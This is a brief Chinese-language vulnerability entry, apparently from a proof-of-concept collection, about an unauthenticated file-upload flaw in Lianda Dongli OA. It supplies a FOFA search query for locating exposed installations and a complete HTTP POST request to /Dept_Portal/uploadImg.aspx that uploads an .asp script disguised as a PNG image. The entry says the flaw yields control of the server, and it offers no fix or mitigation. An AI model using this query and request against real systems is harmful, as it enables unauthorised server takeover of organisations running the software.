L9-3联达动力-OA-文件上传

漏洞描述：

联达动力OA /FileManage/UpLoadFile.aspx、/Hosp_Portal/uploadLogo.aspx、/Dept_Portal/uploadImg.aspx等接口处存在未授权文件上传漏洞，未经身份验证的攻击者可利用该漏洞获取服务器控制权限。

网站图片:

网络测绘:

fofa语法：

(body=“/LKSys_WindowControlScript.js” || body=“onload="LKSYS_PubMaxWin()” || body=“id="lkbLogin" href="javascript:__doPostBack('lkbLogin','')” || (body=“IdentityValidator” && body=“HHCtrlMax”))

漏洞复现:

payload：

POST /Dept_Portal/uploadImg.aspx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Content-Type: multipart/form-data; boundary=boundary=00content0boundary00
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

--00content0boundary00
Content-Disposition: form-data; name="DesignId"

1
--00content0boundary00
Content-Disposition: form-data; name="Filedata"; filename="././b.asp"
Content-Type: image/png

<% Response.Write("Hello, World") %>
--00content0boundary00--

效果图:

验证